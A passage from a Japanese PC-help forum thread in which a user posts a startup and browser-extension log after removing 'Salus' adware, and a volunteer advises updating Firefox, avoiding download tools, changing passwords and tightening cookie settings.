有効 HKLM:Run XFast LAN cFos Software GmbH D:\Program Files\ASRock\XFast LAN\cFosSpeed.exe
有効 HKLM:Run XFastUSB FNet Co., Ltd. "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
有効 Startup Common スタートアップツール.lnk C:\Windows\Installer\{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}\_2482D56151239B506E3E28.exe
有効 Startup User MagicDisc.lnk MagicISO, Inc. D:\Program Files (x86)\MagicDisc\MagicDisc.exe
  • mari
  • 2015/04/05 (Sun) 08:41:10
Re: salusの駆除をお助けください
<IE>
有効 Extension 故障かな?と思ったら・・・ 東日本電信電話株式会社 C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
有効 Helper Canon Easy-WebPrint EX BHO CANON INC. C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll
有効 Helper Canon Easy-WebPrint EX BHO CANON INC. C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll
有効 Helper ExplorerWnd Helper IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll
無効 Helper Groove GFS Browser Helper Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
無効 Helper Microsoft アカウント サインイン ヘルパー Microsoft Corp. C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
無効 Helper Office Document Cache Handler Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
無効 Helper Office Document Cache Handler Microsoft Corporation C:\PROGRA~1\MICROS~3\Office14\URLREDIR.DLL
無効 Helper Windows Live ID Sign-in Helper Microsoft Corp. C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
有効 Toolbar Canon Easy-WebPrint EX CANON INC. C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll
有効 Toolbar Canon Easy-WebPrint EX CANON INC. C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll

<FF>
無効 Extension Logitech SetPoint 6.5 Logitech Inc. default-1427588930218 Firefox 36.0.4 C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt

<GC>
有効 App Gmail 8.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0
有効 App Google Search 0.0.0.30 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0
有効 App Google ドライブ 6.4 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1
有効 App YouTube 4.2.7 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1
有効 Extension Google スプレッドシート 1.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0
有効 Extension Google スライド 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0
有効 Extension Google ドキュメント 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0
無効 Extension Logicool SetPoint 6.52.74 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0

<スケジュールされたタスク>
有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task CCleanerSkipUAC Piriform Ltd "C:\Program Files\CCleaner\CCleaner.exe" $(Arg0)
有効 Task GoogleUpdateTaskMachineCore Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task SidebarExecute Microsoft Corporation C:\Program Files\Windows Sidebar\sidebar.exe /addGadget
有効 Task Uninstaller_SkipUac_Tomohiko IObit C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe /UninstallExplorer
有効 Task {8BFB521B-29F0-44D0-ABF2-A6CE12212065} Microsoft Corporation C:\Windows\system32\pcalua.exe -a C:\PROGRA~2\COMMON~1\INSTAL~1\Driver\9\INTEL3~1\IDriver.exe -c /M{532F6E8A-AF97-41C3-915F-39F718EC07D1} /l1041

<コンテキストメニュー>
有効 Directory Browse in Adobe Bridge CS6 Adobe Systems, Inc. D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L"
有効 Directory IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 Directory WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 Directory WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll
有効 Drive CLVDShellExt Cyberlink C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll
有効 File CLVDShellExt Cyberlink C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll
有効 File IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 File MBAMShlExt Malwarebytes Corporation D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamext.dll
有効 File WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 File WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll
有効 Folder IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 Folder MBAMShlExt Malwarebytes Corporation D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamext.dll
有効 Folder WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 Folder WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll

以上です。
大変お手数をおかけ致しますが
ご確認宜しくお願い致します。
  • mari
  • 2015/04/05 (Sun) 08:44:15
本題の処置は終了、自衛はここからが始まりです
おはようございます。
様子見の間も再発などは出ませんでしたか。

その後のログを見ましたが、少し残っている問題があるのでこれを修正してください。

まず下記は現在最新ではないので、最新の37.0.1に更新してください。
>Mozilla Firefox 36.0.4 (x86 ja) Mozilla 2015/03/29 84.5 MB 36.0.4

次にダウンロード支援ツールはできれば非使用を推奨です。
>Area61 ダウンローダー 8.2.1 Area61.NET 2015/04/03 33.2 MB

DLツールの脆弱性を悪用したマルウェアも多数あり、この掲示板でもそれらの罠にかかった相談者さんは何年も前から絶えません。
どうしても使うなら設定と機能を十分把握して、それによるトラブルも自己責任で。

それと、今回見つけて処置したアドウェア「Salus」についてはまだはっきりした素性や挙動がつかみ切れていませんから、処置したといっても油断しないでください。
念のためそのPCで入力したことのある各種パスワード等は全部変更をお勧めします。
特にネットショッピングやネットバンキングしたことがあれば、その情報は最優先で変更必須です。
Salusがパスを盗むかどうかはわかりませんが、現在ネット上でのSalusによるトラブル報告は尋常な数でもないです。
この掲示板に来る相談だけでも毎日絶えないほどですから、一体どれほどのユーザーがSalusを食らっているか。
他のマルウェアによってパスを盗まれたとしても、処置後にパスを変更すれば少なくとも2次3次被害だけは防げるでしょう。

上記の対処ができたら、本題の処置については終了でいいでしょう。
ですが以後の再被害を防ぐための自衛策はここからがスタートと思ってください。
ブラウザの設定を少し固めるだけでも、セキュリティ上の効果を高めることが可能です。
「インターネットオプション」→「プライバシー」→「詳細設定」と開いて、「自動cookie処理」と「サードパーティのcookieをブロック」にチェックして「適用」して「OK」。
これをやっておくと、多くの危険サイトからの保護にかなり有効です。
が、これもすべての危険サイトに有効でもないし、本物の危険サイトではこの程度ではまったく太刀打ちできないので、過信はしないこと。
また、「すべてのcookieをブロックする」設定にすると、プロバイダのメールボックスなどログイン必要なページに入れなくなる弊害も出るので、これは状況を考えて使い分けるといいでしょう。
安全なサイトでもcookieブロックだと閲覧や投稿ができなくなるところもあるのでこれも注意。

次に、アンチウイルスやファイアウォール等のセキュリティソフトの使い方も注意してください。
セキュリティソフトはただ入れてさえいればそれだけでフル機能を発揮するものではありません。
設定と機能をできるだけ把握して、正しく使うことが重要です。
間違った使い方すると、本来ならブロックできた感染でもあっさりスルーします。

また、いくら高性能なセキュリティソフトがあっても、ユーザーが自分から危険なサイトやファイルにアクセスしてたらまったく保護もできません。
セキュリティソフトは使い方次第でその性能を、倍にも半にも無にも変動させます。

そして百聞は一見にしかず。
現在この掲示板で継続中や解決済みの他スレもできるだけ見ておくことをおすすめします。
同様、類似、別種含めて参考になる部分は多いでしょう。

ネット上の悪意のプログラムとその作者は、一般ユーザーの隙を常に狙っています。
特定のサイトやプログラムにだけ注意すれば自衛ができるものではありません。
最初から全部頭に詰め込む必要はないですから、わかる範囲から少しずつ消化して、PC環境とセキュリティ意識を再構築していってください。

慣れない作業を頑張ってくれてお疲れ様でした。
以後は安全で快適なPCライフを。

「俺たちの自衛は始まったばかりだ!」
<mariさんの次回作にご期待ください>(←縁起でもないわ阿呆
  • 悪代官
  • 2015/04/05 (Sun) 09:15:05
Re: salusの駆除をお助けください
お世話になっております。
この度は長期間に渡り、サポート頂き本当にありがとうございました!
上記対処も行わせて頂きました。
また、こちらにお世話にならないよう(笑)
注意を払いPCライフを楽しみたいと思います♪
  • mari
  • 2015/04/05 (Sun) 11:45:45

返信フォーム






プレビュー (投稿前に内容を確認)